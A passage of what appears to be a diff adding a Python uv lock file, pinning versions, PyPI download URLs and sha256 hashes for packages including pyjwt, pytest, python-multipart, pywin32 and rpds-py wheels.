"https://files.pythonhosted.org/packages/02/a5/5197bfd06417837ac079921c66fa6393f1dea3557272a263cebfef69e432/pyjwt-2.15.0.tar.gz", hash = "sha256:b11c5f9791d7bf51c2b39a81ed669f6b2dbbd669df2942f6c60167e9e3d1abe4", size = 120513, upload-time = "2026-09-23T16:56:00.689Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e8/55/40e45bf052ee8ee12a4dfd785519660f8effa7b065442b91646ec6828619/pyjwt-2.15.0-py3-none-any.whl", hash = "sha256:7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8", size = 33680, upload-time = "2026-09-23T16:55:59.241Z" }, +] + +[package.optional-dependencies] +crypto = [ + { name = "cryptography" }, +] + +[[package]] +name = "pytest" +version = "9.1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "iniconfig" }, + { name = "packaging" }, + { name = "pluggy" }, + { name = "pygments" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e4/47/b9efed96c114afcfa3c9d3fe98a76a1d14c74a9e266d397cf6eb64be5e01/pytest-9.1.1.tar.gz", hash = "sha256:1088fbde8f2b49d95a549a195707afa7a76a3ce9bcadc26b6d71f0ffda5fe313", size = 1636369, upload-time = "2026-06-19T10:58:32.857Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/24/25/1de2678b631f5a49215c6c96fff41ba892b0a34df68d6d80292b1b48aa7f/pytest-9.1.1-py3-none-any.whl", hash = "sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c", size = 386536, upload-time = "2026-06-19T10:58:31.347Z" }, +] + +[[package]] +name = "pytest-asyncio" +version = "1.4.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytest" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/43/7c/d36d04db312ecf4298932ef77e6e4a9e8ad017906e24e34f0b0c361a2473/pytest_asyncio-1.4.0.tar.gz", hash = "sha256:c6c0d2259945122819f171a32ecea2c349ead889ee28176caaf492143424be42", size = 58514, upload-time = "2026-05-26T09:56:04.083Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/03/e2/08a497ef684b88559c9cc5f4ad53a37e7b99e727094a86d6ea32536d5d3c/pytest_asyncio-1.4.0-py3-none-any.whl", hash = "sha256:933ca923a23075a87fb7070c0ec272a6848489824d887c85c812670932835aa1", size = 16930, upload-time = "2026-05-26T09:56:02.576Z" }, +] + +[[package]] +name = "python-multipart" +version = "0.0.32" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/5b/42/55c32bb9b12693c092ad250a0e82edb5b31ddeda6eb772de5f308b3804ad/python_multipart-0.0.32.tar.gz", hash = "sha256:be54b7f3fa167bb83e4fcd936b887b708f4e57fe75911c02aebf53efaf8d938e", size = 46881, upload-time = "2026-06-04T16:18:58.647Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e1/04/e8135ebd1ad02c56ec633277529b2602ff99ff634be76cdba5744cf554fd/python_multipart-0.0.32-py3-none-any.whl", hash = "sha256:ff6d3f776f16878c894e52e107296ffc890e913c611b1a4ec6c44e2821fe2e23", size = 30042, upload-time = "2026-06-04T16:18:57.319Z" }, +] + +[[package]] +name = "pywin32" +version = "312" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/83/ff/32aa7d2ed0ab12b323aaa64f9b75e6ad4f8fd09f9ccfc28c79414d46838d/pywin32-312-cp312-cp312-win32.whl", hash = "sha256:dab4f65ac9c4e48400a2a0530c46c3c579cd5905ecd11b80692373915269208b", size = 6371877, upload-time = "2026-06-04T07:49:28.836Z" }, + { url = "https://files.pythonhosted.org/packages/03/d9/77040d3b43df3f3be32ea289433d660d2727f5ba327bc73be835127d9d60/pywin32-312-cp312-cp312-win_amd64.whl", hash = "sha256:b457f6d628a47e8a7346ce22acb7e1a46a4a78b52e1d17e1af56871bd19a93bc", size = 6914841, upload-time = "2026-06-04T07:49:31.85Z" }, + { url = "https://files.pythonhosted.org/packages/e3/cc/7b1ec671775756020a0ee7f4feeaf3c568f0ab86bd3900088cf986937a92/pywin32-312-cp312-cp312-win_arm64.whl", hash = "sha256:6017c58e12f6809fbb0555b75df144c2922a9ffd18e4b9b5afa863b6c1a9d950", size = 6727901, upload-time = "2026-06-04T07:49:34.244Z" }, + { url = "https://files.pythonhosted.org/packages/2d/41/12fbfd7f36ed2146d8bc9de96c2741296bf0d490b98508496cff322e274c/pywin32-312-cp313-cp313-win32.whl", hash = "sha256:7a27df850933d16a8eabfbaeb73d52b273e2da667f80d70b01a89d1f6828d02c", size = 6370184, upload-time = "2026-06-04T07:49:36.253Z" }, + { url = "https://files.pythonhosted.org/packages/ba/db/36a78e3403099d31d9746d13fdcde5accc43c1155f375a34d15983a479a7/pywin32-312-cp313-cp313-win_amd64.whl", hash = "sha256:c53e878d15a1c44788082bfe712a905433473aa38f86375b7cf8b45e3acbaaf9", size = 6914298, upload-time = "2026-06-04T07:49:38.876Z" }, + { url = "https://files.pythonhosted.org/packages/84/37/c1697194092b76de9ed47ca124323f02c57ffc8a45c06f88a3d5acaf01eb/pywin32-312-cp313-cp313-win_arm64.whl", hash = "sha256:59aba5d5940842075343a5ddc6b11f1cdf0d1567fe745290359dfbcc7c2eb831", size = 6727640, upload-time = "2026-06-04T07:49:41.083Z" }, + { url = "https://files.pythonhosted.org/packages/fc/2b/1f3cded5822fd49c02f40544cbb5f58c7cfd6b1694869fd476cb6170ee97/pywin32-312-cp314-cp314-win32.whl", hash = "sha256:a77a90fbb6881238d2ca9c6fd797b25817f3768fe78d214a90137ff055a75f5b", size = 6468928, upload-time = "2026-06-04T07:49:43.188Z" }, + { url = "https://files.pythonhosted.org/packages/21/82/3bf86d2e2808902013132e1ce905a7da0da53790f3836c64bf44d55e24f3/pywin32-312-cp314-cp314-win_amd64.whl", hash = "sha256:a4dd3a848290ef724347b19f301045831d8e802fa4464f491b98b1e0a081432e", size = 7024157, upload-time = "2026-06-04T07:49:45.34Z" }, + { url = "https://files.pythonhosted.org/packages/a4/0e/73f6d6800b4f27655abd9e9f6aaeaefcddb2b946e4674efa2bab184a7f7b/pywin32-312-cp314-cp314-win_arm64.whl", hash = "sha256:9fce94568364e0155e6dfb781ac5d95903be8baf28670632beab1b523f300daa", size = 6839598, upload-time = "2026-06-04T07:49:47.613Z" }, + { url = "https://files.pythonhosted.org/packages/eb/61/caa39686032d2ebdd04ff0ab5cbe163126c0066d98e00c9018646e42393b/pywin32-312-cp315-cp315-win32.whl", hash = "sha256:5c1fbe4a937a73ae9297384a3da38518cbc694c68ad8a809b2e19acd350f03ed", size = 6471159, upload-time = "2026-06-04T07:49:50.035Z" }, + { url = "https://files.pythonhosted.org/packages/0f/cd/7e1de64a4a6f69c04214169657ccab0d93a670ea50e35eb8f489d7378249/pywin32-312-cp315-cp315-win_amd64.whl", hash = "sha256:c2f03a0f73f804a13c2735b99392b0cd426bb4f2c4d0178e5ac966a0f21618d5", size = 7025293, upload-time = "2026-06-04T07:49:54.857Z" }, + { url = "https://files.pythonhosted.org/packages/23/ed/4532e9388e65fa16b46776ef47ad631a64eda1631884488af707666350ed/pywin32-312-cp315-cp315-win_arm64.whl", hash = "sha256:a8597d28f267b39074aef51fa593530082b39cbe5a074226096857b1fed2dfb9", size = 6840337, upload-time = "2026-06-04T07:49:57.531Z" }, +] + +[[package]] +name = "referencing" +version = "0.37.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "attrs" }, + { name = "rpds-py" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/22/f5/df4e9027acead3ecc63e50fe1e36aca1523e1719559c499951bb4b53188f/referencing-0.37.0.tar.gz", hash = "sha256:44aefc3142c5b842538163acb373e24cce6632bd54bdb01b21ad5863489f50d8", size = 78036, upload-time = "2025-10-13T15:30:48.871Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/2c/58/ca301544e1fa93ed4f80d724bf5b194f6e4b945841c5bfd555878eea9fcb/referencing-0.37.0-py3-none-any.whl", hash = "sha256:381329a9f99628c9069361716891d34ad94af76e461dcb0335825aecc7692231", size = 26766, upload-time = "2025-10-13T15:30:47.625Z" }, +] + +[[package]] +name = "rpds-py" +version = "2026.6.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/aa/2a/9618a122aeb2a169a28b03889a2995fe297588964333d4a7d67bdf46e147/rpds_py-2026.6.3.tar.gz", hash = "sha256:1cebd1337c242e4ec2293e541f712b2da849b29f48f0c293684b71c0632625d4", size = 64051, upload-time = "2026-06-30T07:17:53.009Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5c/be/2e8974163072e7bab7df1a5acd54c4498e75e35d6d18b864d3a9d5dadc92/rpds_py-2026.6.3-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:a0811d33247c3d6128a3001d763f2aa056bb3425204335400ac54f89eec3a0d0", size = 343691, upload-time = "2026-06-30T07:15:14.96Z" }, + { url = "https://files.pythonhosted.org/packages/a4/73/319dfa745dd668efe89309141ded489126461fcecd2b8f3a3cda185129b6/rpds_py-2026.6.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:538949e262e46caa31ac01bdb3c1e8f642622922cacbabbae6a8445d9dc33eaf", size = 338542, upload-time = "2026-06-30T07:15:16.267Z" }, + { url = "https://files.pythonhosted.org/packages/21/63/4239893be1c4d09b709b1a8f6be4188f0870084ff547f46606b8a75f1b03/rpds_py-2026.6.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:55927d532399c2c646100ff7feb48eaa940ad70f42cd68e1328f3ded9f81ca24", size = 368180, upload-time = "2026-06-30T07:15:17.62Z" }, + { url = "https://files.pythonhosted.org/packages/1c/ca/9c5de382225234ceb37b1844ebdb140db12b2a278bb9efe2fcd19f6c82ce/rpds_py-2026.6.3-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f56f1695bc5c0871cbc33dc0130fcf503aab0c57dcc5a6700a4f49eba4f2652e", size = 375067, upload-time = "2026-06-30T07:15:18.952Z" }, + { url = "https://files.pythonhosted.org/packages/87/dc/863f69d1bf04ade34b7fe0d59b9fdf6f0135fe2d7cbca74f1d665589559d/rpds_py-2026.6.3-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:270b293dae9058fc9fcedab50f13cebf46fb8ed1d1d54e0521a9da5d6b211975", size = 490509, upload-time = "2026-06-30T07:15:20.434Z" }, + { url = "https://files.pythonhosted.org/packages/ce/ef/eac16a12048b45ec7c7fa94f2be3438a5f26bf9cc8580b18a1cfd609b7f6/rpds_py-2026.6.3-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:127565fead0a10943b282957bd5447804ff3160ad79f2ad2635e6d249e380680", size = 382754, upload-time = "2026-06-30T07:15:21.831Z" }, + { url = "https://files.pythonhosted.org/packages/04/8f/d2f3f532616be4d06c316ef119683e832bd3d41e112bf3a88f4151c95b17/rpds_py-2026.6.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ecabd69db66de867690f9797f2f8fa27ba501bbc24540cbdbdc649cd15888ba6", size = 366189, upload-time = "2026-06-30T07:15:23.371Z" }, + { url = "https://files.pythonhosted.org/packages/e3/29/41a7b0e98a4b44cd676ab7598419623373eb43b20be68c084935c1a8cf88/rpds_py-2026.6.3-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:58eadac9cd119677b60e1cf8ac4052f35949d71b8a9e5556efccbe82533cf22a", size = 377750, upload-time = "2026-06-30T07:15:24.659Z" }, + { url = "https://files.pythonhosted.org/packages/2e/05/ecda0bec46f9a1565090bcdc941d023f6a25aff85fda28f89f8d19878152/rpds_py-2026.6.3-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:7491ee23305ac3eb59e492b6945881f5cd77a6f731061a3f25b77fd40f9e99a4", size = 395576, upload-time = "2026-06-30T07:15:25.987Z" }, + { url = "https://files.pythonhosted.org/packages/68/a8/6ed52f03ee6cb854ce78785cc9a9a672eb880e83fd7224d471f667d151f1/rpds_py-2026.6.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2c99f7e8ccb3dd6e3e4bfeac657a7b208c9bac8075f4b078c02d7404c34107fa", size = 543807, upload-time = "2026-06-30T07:15:27.356Z" }, + { url = "https://files.pythonhosted.org/packages/8f/d6/156c0d3eea27ba09b92562ba2364ba124c0a061b199e17eac637cd25a5e2/rpds_py-2026.6.3-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:62698275682bf121181861295c9181e789030a2d516071f5b8f3c23c170cd0fc", size = 611187, upload-time = "2026-06-30T07:15:28.931Z" }, + { url = "https://files.pythonhosted.org/packages/f1/31/774212ed989c62f7f310220089f9b0a3fb8f40f5443d1727abd5d9f52bc9/rpds_py-2026.6.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a214c993455f99a89aaeadc9b21241900037adc9d97203e374d75513c5911822", size = 573030, upload-time = "2026-06-30T07:15:30.553Z" }, + { url = "https://files.pythonhosted.org/packages/c9/50/22f73127a41f1ce4f87fe39aadfb9a126345801c274aa93ae88456249327/rpds_py-2026.6.3-cp312-cp312-win32.whl", hash = "sha256:501f9f04a588d6a09179368c57071301445191767c64e4b52a6aa9871f1ef5ed", size = 202185, upload-time = "2026-06-30T07:15:32.027Z" }, + { url = "https://files.pythonhosted.org/packages/04/3a/f0ee4d4dde9d3b69dedf1b5f74e7a40017046d55052d173e418c6a94f960/rpds_py-2026.6.3-cp312-cp312-win_amd64.whl", hash = "sha256:2c958bf94822e9290a40aaf2a822d4bc5c88099093e3948ad6c571eca9272e5f", size = 220394, upload-time = "2026-06-30T07:15:33.359Z" }, + { url = "https://files.pythonhosted.org/packages/f3/83/3382fe37f809b59f02aac04dbc4e765b480b46ee0227ed516e3bdc4d3dfc/rpds_py-2026.6.3-cp312-cp312-win_arm64.whl", hash = "sha256:22bffe6042b9bcb0822bcd1955ec00e245daf17b4344e4ed8e9551b976b63e96", size = 215753, upload-time = "2026-06-30T07:15:34.778Z" }, + { url = "https://files.pythonhosted.org/packages/a4/9e/b818ee580026ec578138e961027a68820c40afeb1ec8f6819b54fb99e196/rpds_py-2026.6.3-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:3cfe765c1da0072636ca06628261e0ea05688e160d5c8a03e0217c3854037223", size = 343012, upload-time = "2026-06-30T07:15:36.005Z" }, + { url = "https://files.pythonhosted.org/packages/f3/6b/686d9dc4359a8f163cfbbf89ee0b4e586431de22fe8248edb63a8cf50d49/rpds_py-2026.6.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f4d78253f6996be4901669ad25319f842f740eccf4d58e3c7f3dd39e6dde1d8f", size = 338203, upload-time = "2026-06-30T07:15:37.462Z" }, + { url = "https://files.pythonhosted.org/packages/9e/9b/069aa329940f8207615e091f5eedbbd40e1e15eac68a0790fd05ccdf796c/rpds_py-2026.6.3-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:54f45a148e28767bf343d33a684693c70e451c6f4c0e9904709a723fafbdfc1f", size = 367984, upload-time = "2026-06-30T07:15:39.008Z" }, + { url = "https://files.pythonhosted.org/packages/14/db/34c203e4becff3703e4d3bc121842c00b8689197f398161203a880052f4e/rpds_py-2026.6.3-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:842e7b070435622248c7a2c44ae53fa1440e073cc3023bc919fed570884097a7", size = 374815, upload-time = "2026-06-30T07:15:40.253Z" }, + { url = "https://files.pythonhosted.org/packages/ee/7d/8071067d2cc453d916ad836e828c943f575e8a44612537759002a1e07381/rpds_py-2026.6.3-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8020133a74bd81b4572dd8e4be028a6b1ebcd70e6726edc3918008c08bee6ee6", size = 490545, upload-time = "2026-06-30T07:15:41.729Z" }, + { url = "https://files.pythonhosted.org/packages/a3/42/da06c5aa8f0484ff07f270787434204d9f4535e2f8c3b51ed402267e63c3/rpds_py-2026.6.3-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cdc7e35386f3847df728fbcb5e887e2d79c19e2fa1eba9e51b6621d23e3243af", size = 382828, upload-time = "2026-06-30T07:15:43.327Z" }, + { url = "https://files.pythonhosted.org/packages/57/d7/fe978efc2ae50abe48eb7464668ea99f53c010c60aeebb7b35ad27f23661/rpds_py-2026.6.3-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:acac386b453c2516111b50985d60ce46e7fadb5ea71ae7b25f4c946935bf27cf", size = 365678, upload-time = "2026-06-30T07:15:44.992Z" }, + { url = "https://files.pythonhosted.org/packages/69/9d/1d8922e1990b2a6eb532b6ff53d3e73d2b3bbffc84116c75826bee73dfc6/rpds_py-2026.6.3-cp313-cp313-manylinux_2_31_riscv64.whl", hash = "sha256:425560c6fa0415f27261727bb20bd097568485e5eb0c121f1949417d1c516885", size = 377811, upload-time = "2026-06-30T07:15:46.523Z" }, + { url = "https://files.pythonhosted.org/packages/b1/3d/198dceafb4fb034a6a47347e1b0735d34e0bd4a50be4e898d408ee66cb14/rpds_py-2026.6.3-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:a550fb4950a06dde3beb4721f5ad4b25bf4513784665b0a8522c792e2bd822a4", size = 395382, upload-time = "2026-06-30T07:15:47.955Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f1/13968e49655d40b6b19d8b9140296bbc6f1d86b3f0f6c346cf9f1adddf4b/rpds_py-2026.6.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4f4bca01b63096f606e095734dd56e74e175f94cfbf24ff3d63281cec61f7bb7", size = 543832, upload-time = "2026-06-30T07:15:49.33Z" }, + { url = "https://files.pythonhosted.org/packages/ac/ab/289bcb1b90bd3e40a2900c561fa0e2087345ecbb094f0b870f2345142b7c/rpds_py-2026.6.3-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:ccffae9a092a00deb7efd545fe5e2c33c33b88e7c054337e9a74c179347d0b7d", size = 611011, upload-time = "2026-06-30T07:15:50.847Z" }, + { url = "https://files.pythonhosted.org/packages/1e/16/5043105e679436ccfbc8e5e0dd2d663ed18a8b8113515fd06a5e5d77c83e/rpds_py-2026.6.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:1cf01971c4f2c5553b772a542e4aaf191789cd331bc2cd4ff0e6e65ba49e1e97", size = 572431, upload-time = "2026-06-30T07:15:52.394Z" }, + { url = "https://files.pythonhosted.org/packages/85/ed/adab103321c0a6565d5ae1c2998349bc3ee175b82ccc5ae8fc04cc413075/rpds_py-2026.6.3-cp313-cp313-win32.whl", hash = "sha256:8c3d1e9c15b9d51ca0391e13da1a25a0a4df3c58a37c9dc368e0736cf7f69df0", size = 201710, upload-time = "2026-06-30T07:15:53.894Z" }, + { url = "https://files.pythonhosted.org/packages/7b/ed/a03b09668e74e5dabbf2e211f6468e1820c0552f7b0500082da31841bf7b/rpds_py-2026.6.3-cp313-cp313-win_amd64.whl", hash = "sha256:9250a9a0a6fd4648b3f868da8d91a4c52b5811a62df58e753d50ae4454a36f80", size = 219454, upload-time = "2026-06-30T07:15:55.25Z" }, + { url = "https://files.pythonhosted.org/packages/27/17/b8642c12930b71bc2b25831f6708ccf0f75abcd11883932ec9ce54ba3a78/rpds_py-2026.6.3-cp313-cp313-win_arm64.whl", hash = "sha256:900a67df3fd1660b035a4761c4ce73c382ea6b35f90f9863c36c6fd8bf8b09bb", size = 215063, upload-time = "2026-06-30T07:15:56.573Z" }, + { url = "https://files.pythonhosted.org/packages/b6/36/7fbe9dcdaf857fb3f63c2a2284b62492d95f5e8334e947e5fb6e7f68c9be/rpds_py-2026.6.3-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:931908d9fc855d8f74783377822be318edb6dcb19e47169dc038f9a1bf60b06e", size = 344510, upload-time = "2026-06-30T07:15:57.921Z" }, + { url = "https://files.pythonhosted.org/packages/ba/54/f785cc3d3f60839ca57a5af4927a9f347b07b2799c373fc20f7949f87c7e/rpds_py-2026.6.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:d7469697dce35be237db177d42e2a2ee26e6dcc5fc052078a6fefabd288c6edd", size = 339495, upload-time = "2026-06-30T07:15:59.238Z" }, + { url = "https://files.pythonhosted.org/packages/63/ef/d4cdaf309e6b095b43597103cf8c0b951d6cca2acce68c474f75ec12e0c7/rpds_py-2026.6.3-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bcfbcf66006befb9fd2aeaa9e01feaf881b4dc330a02ba07d2322b1c11be7b5d", size = 369454, upload-time = "2026-06-30T07:16:01.021Z" }, + { url = "https://files.pythonhosted.org/packages/96/4a/9559a68b7ee15db09d7981212e8c2e219d2a1d6d4faa0391d813c3496a36/rpds_py-2026.6.3-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:847927daf4cffbd4e90e42bc890069897101edd015f956cb8721b3473372edda", size = 374583, upload-time = "2026-06-30T07:16:02.287Z" }, + { url = "https://files.pythonhosted.org/packages/ef/75/8964aa7d2c6e8ac43eba8eb6e6b0fdda1f46d39f2fc3e6aa9f2cb17f485d/rpds_py-2026.6.3-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:aca6c1ef08a82bfe327cc156da694660f599923e2e6665b6d81c9c2d0ac9ffc8", size = 492919, upload-time = "2026-06-30T07:16:03.723Z" }, + { url = "https://files.pythonhosted.org/packages/8f/97/6908094ac804115e65aedfd90f1b5fee4eebebd3f6c4cfc5419939267565/rpds_py-2026.6.3-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ae50181a047c871561212bb97f7932a2d45fb53e947bd9b57ebad85b529cbc53", size = 383725, upload-time = "2026-06-30T07:16:05.305Z" }, + { url = "https://files.pythonhosted.org/packages/d1/9c/0d1fdc2e7aba23e290d603bc494e97bd205bae262ce33c6b32a69768ed5e/rpds_py-2026.6.3-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dc319e5a1de4b6913aac94bf6a2f9e847371e0a140a43dd4991db1a09bc2d504", size = 367255, upload-time = "2026-06-30T07:16:07.086Z" }, + { url = "https://files.pythonhosted.org/packages/c4/fe/f0209ca4a9ed074bc8acb44dfd0e81c3122e94c9689f5645b7973a866719/rpds_py-2026.6.3-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:e4316bf32babbed84e691e352faf967ce2f0f024174a8643c37c94a1080374fc", size = 379060, upload-time = "2026-06-30T07:16:08.525Z" }, + { url = "https://files.pythonhosted.org/packages/c6/8d/f1cc54c616b9d8897de8738aac148d20afca93f68187475fe194d09a71b9/rpds_py-2026.6.3-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:8c6e5a2f750cc71c3e3b11d71661f21d6f9bc6cebc6564b1466417a1ec03ec77", size = 395960, upload-time = "2026-06-30T07:16:09.989Z" }, + { url = "https://files.pythonhosted.org/packages/fb/04/aafff00f73aeca2945f734f1d483c64ab8f472d0864ab02377fd8e89c3b2/rpds_py-2026.6.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:4470ce197d4090875cf6affbf1f853338387428df97c4fb7b7106317b8214698", size = 545356, upload-time = "2026-06-30T07:16:11.816Z" }, + { url = "https://files.pythonhosted.org/packages/fd/cc/e229663b9e4ddac5a4acbe9085dd80a71af2a5d356b8b39d6bff233f24b0/rpds_py-2026.6.3-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ea964164cc9afa72d4d9b23cc28dafae93693c0a53e0b42acbff15b22c3f9ddd", size = 612319, upload-time = "2026-06-30T07:16:13.586Z" }, + { url = "https://files.pythonhosted.org/packages/e3/7a/8a0e6d3e6cd066af108b71b43122c3fe158dd9eb86acac626593a2582eb1/rpds_py-2026.6.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:639c8929aa0afe81be836b04de888460d6bed38b9c54cfc18da8f6bfabf5af5d", size = 573508, upload-time = "2026-06-30T07:16:15.23Z" }, + { url = "https://files.pythonhosted.org/packages/87/03/2a69ab618a789cf6cf85c86bb844c62d090e700ab1a2aa676b3741b6c516/rpds_py-2026.6.3-cp314-cp314-win32.whl", hash = "sha256:882076c00c0a608b131187055ddc5ae29f2e7eaf870d6168980420d58528a5c8", size = 202504, upload-time = "2026-06-30T07:16:16.893Z" }, + { url = "https://files.pythonhosted.org/packages/85/62/a3892ba945f4e24c78f352e5de3c7620d8479f73f211406a97263d13c7d2/rpds_py-2026.6.3-cp314-cp314-win_amd64.whl", hash = "sha256:0be972be84cfcaf46c8c6edf690ca0f154ac17babf1f6a955a51579b34ad2dc5", size = 220380, upload-time = "2026-06-30T07:16:18.108Z" }, + { url = "https://files.pythonhosted.org/packages/3d/e7/c2bd44dc831931815ad11ebb5f430b5a0a4d3caa9de837107876c30c3432/rpds_py-2026.6.3-cp314-cp314-win_arm64.whl", hash = "sha256:2a9c6f195058cb45335e8cc3802745c603d716eb96bc9625950c1aac71c0c703", size = 215976, upload-time = "2026-06-30T07:16:19.654Z" }, + { url = "https://files.pythonhosted.org/packages/79/9c/fff7b74bce9a091ec9a012a03f9ff5f69364eaf9451060dfc4486da2ffdd/rpds_py-2026.6.3-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:f90938e92afda60266da758ee7d363447f7f0138c9559f9e1811629580582d90", size = 346840, upload-time = "2026-06-30T07:16:21.268Z" }, + { url = "https://files.pythonhosted.org/packages/e9/44/77bcb1168b33704908295533d27f10eb811e9e3e193e8993dc99572211d3/rpds_py-2026.6.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:ec829541c45bca16e61c7ae50c20501f213605beb75d1aba91a6ee37fbbb56a4", size = 340282, upload-time = "2026-06-30T07:16:22.875Z" }, + { url = "https://files.pythonhosted.org/packages/87/3c/7a9081c7c9e645b39efe19e4ffbeccd80add246327cd9b888aecffd72317/rpds_py-2026.6.3-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:afd70d95892096cdb26f15a00c45907b17817577aa8d1c76b2dcc2788391f9e9", size = 370403, upload-time = "2026-06-30T07:16:24.415Z" }, + { url = "https://files.pythonhosted.org/packages/f7/69/af47021eb7dad6ff3396cb001c08f0f3c4d06c20253f75be6421a59fe6b7/rpds_py-2026.6.3-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:29dfa0533a5d4c94d4dfa1b694fcb56c9c63aad8330ffdd816fd225d0a7a162f", size = 376055, upload-time = "2026-06-30T07:16:26.111Z" }, + { url = "https://files.pythonhosted.org/packages/81/fc/a3bcf517084396a6dd258c592567a3c011ba4557f2fde23dceaf26e74f2e/rpds_py-2026.6.3-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:af05d726809bff6b141be124d4c7ce998f9c9c7f30edb1f46c07aa103d540b41", size = 494419, upload-time = "2026-06-30T07:16:27.596Z" }, + { url = "https://files.pythonhosted.org/packages/c9/eb/13d529d1788135425c7bf207f8463458ca5d92e43f3f701365b83e9dffc1/rpds_py-2026.6.3-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9826217f048f620d9a712672818bf231442c1b35d96b227a07eabd11b4bb6945", size = 384848, upload-time = "2026-06-30T07:16:29.183Z" }, + { url = "https://files.pythonhosted.org/packages/8e/f4/b7ac49f30013aba8f7b9566b1dd07e81de95e708c1374b7bacc5b9bc5c9c/rpds_py-2026.6.3-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:536bceea4fa4acf7e1c61da2b5786304367c816c8895be71b8f537c480b0ea1f", size = 371369, upload-time = "2026-06-30T07:16:30.912Z" }, + { url = "https://files.pythonhosted.org/packages/31/86/6260bafa622f788b07ddec0e52d810305c8b9b0b8c27f58a2ab04bf62b4f/rpds_py-2026.6.3-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:bc0011654b91cc4fb2ae701bec0a0ba1e552c0714247fa7af6c59e0ccfa3a4e1", size = 379673, upload-time = "2026-06-30T07:16:32.486Z" }, + { url = "https://files.pythonhosted.org/packages/19/c3/03f1ee79a047b48daeca157c89a18509cde22b6b951d642b9b0af1be660a/rpds_py-2026.6.3-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:539d75de9e0d536c84ff18dfeb805398e58227001ce09231a26a08b9aed1ee0e", size = 397500, upload-time = "2026-06-30T07:16:34.471Z" }, + { url = "https://files.pythonhosted.org/packages/f0/95/8ed0cd8c377dca12aea498f119fe639fc474d1461545c39d2b5872eb1c0f/rpds_py-2026.6.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:166cf54d9f44fc6ceb53c7860258dde44a81406646de79f8ed3234fca3b6e538", size = 545978, upload-time = "2026-06-30T07:16:36.45Z" }, + { url = "https://files.pythonhosted.org/packages/d3/f2/0eb57f0eaa83f8fc152a7e03de968ab77e1f00732bebc892b190c6eebde7/rpds_py-2026.6.3-cp314-cp314t-musllinux_1_2_i686.whl", 